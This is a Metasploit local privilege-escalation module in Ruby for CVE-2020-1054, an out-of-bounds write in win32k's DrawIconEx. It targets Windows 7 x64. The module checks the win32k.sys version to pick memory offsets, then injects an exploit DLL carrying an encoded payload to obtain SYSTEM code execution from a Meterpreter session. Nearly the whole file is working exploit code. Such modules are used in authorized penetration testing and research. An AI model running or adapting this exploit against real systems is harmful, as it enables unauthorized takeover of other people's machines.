##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/file'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/priv'

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation',
        'Description' => %q{
          This module exploits CVE-2020-1054, an out of bounds write reachable from DrawIconEx
          within win32k. The out of bounds write can be used to overwrite the pvbits of a
          SURFOBJ. By utilizing this vulnerability to execute controlled writes to kernel
          memory, an attacker can gain arbitrary code execution as the SYSTEM user.

          This module has been tested against a fully updated Windows 7 x64 SP1. Offsets
          within the exploit code may need to be adjusted to work with other versions of
          Windows.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Netanel Ben-Simon',
          'Yoav Alon',
          'bee13oy',
          'timwr', # msf module
        ],
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows 7 x64', { 'Arch' => ARCH_X64 }]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 30
        },
        'Payload' => {
          'Space' => 4096
        },
        'Notes' => {
          'Stability' => [ CRASH_OS_RESTARTS ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
        'References' => [
          ['CVE', '2020-1054'],
          ['URL', 'https://cpr-zero.checkpoint.com/vulns/cprid-2153/'],
          ['URL', 'https://0xeb-bp.com/blog/2020/06/15/cve-2020-1054-analysis.html'],
          ['URL', 'https://github.com/DreamoneOnly/2020-1054/blob/master/x64_src/main.cpp'],
          ['URL', 'https://github.com/KaLendsi/CVE-2020-1054/blob/master/CVE-2020-1054/exploit.cpp'],
          ['URL', 'https://github.com/Iamgublin/CVE-2020-1054/blob/master/ConsoleApplication4.cpp']
        ],
        'DisclosureDate' => '2020-02-20'
      )
    )
  end

  def check
    if session.platform != 'windows'
      # Non-Windows systems are definitely not affected.
      return CheckCode::Safe('Target is not vulnerable')
    end

    file_path = expand_path('%WINDIR%\\system32\\win32k.sys')
    major, minor, build, revision, branch = file_version(file_path)
    vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

    build_num_gemversion = Rex::Version.new("#{major}.#{minor}.#{build}.#{revision}")
    if (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24542')) # Windows 7 SP1
      @xleft_offset = 0x900
      @oob_offset = 0x238
      return CheckCode::Appears("Revision #{revision} appears vulnerable")
    elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24553')) # Windows 7 SP1 with patches
      @xleft_offset = 0x8c0
      @oob_offset = 0x240
      return CheckCode::Appears("Revision #{revision} appears vulnerable")
    else
      return CheckCode::Safe("No target for win32k.sys version #{build_num_gemversion}")
    end
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if sysinfo['Architecture'] != ARCH_X64
      fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')
    end

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Executing exploit...')
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-1054', 'exploit.dll'),
      [@xleft_offset, @oob_offset, encoded_payload.length].pack('LLL') + encoded_payload
    )

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end
